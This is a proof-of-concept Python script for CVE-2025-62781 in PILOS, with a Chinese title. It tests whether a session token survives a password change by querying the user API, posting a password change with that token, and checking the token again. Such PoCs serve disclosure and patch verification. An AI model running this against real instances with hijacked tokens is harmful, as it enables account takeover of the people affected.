CVE-2025-62781 PILOS会话固定漏洞密码修改后session未失效

#!/usr/bin/env python3 """ CVE-2025-62781 PoC - PILOS Session Fixation After Password Change This PoC demonstrates that session token remains valid after password change. """ import requests import json TARGET_URL = "http://target-pilos-instance.com" ATTACKER_SESSION = "attacker_obtained_session_token_here" VICTIM_USERNAME = "[email protected]" NEW_PASSWORD = "NewPassword123!" def check_session_validity(session_token): """Check if the session token is still valid after password change.""" headers = { "Cookie": f"session={session_token}", "Content-Type": "application/json" } response = requests.get( f"{TARGET_URL}/api/v2/users/me", headers=headers ) return response.status_code == 200 def change_password(session_token, new_password): """Simulate victim changing their password.""" headers = { "Cookie": f"session={session_token}", "Content-Type": "application/json" } data = { "current_password": "OldPassword123!", "password": new_password, "password_confirmation": new_password } response = requests.post( f"{TARGET_URL}/api/v2/users/password", headers=headers, json=data ) return response.status_code == 200 def main(): print("[*] CVE-2025-62781 - PILOS Session Fixation Test") print(f"[*] Target: {TARGET_URL}") # Step 1: Attacker obtains session token (via XSS, MITM, etc.) print(f"[*] Attacker has session token: {ATTACKER_SESSION[:20]}...") # Step 2: Verify session is valid before password change print("[*] Checking session validity before password change...") if check_session_validity(ATTACKER_SESSION): print("[+] Session is valid") else: print("[-] Session is invalid") return # Step 3: Victim changes password print("[*] Victim changes password...") if change_password(ATTACKER_SESSION, NEW_PASSWORD): print("[+] Password changed successfully") # Step 4: Verify session is still valid (VULNERABILITY) print("[*] Checking session validity after password change...") if check_session_validity(ATTACKER_SESSION): print("[!] VULNERABLE: Session still valid after password change!") print("[!] Attacker can continue to impersonate victim") else: print("[+] PATCHED: Session invalidated after password change") if __name__ == "__main__": main()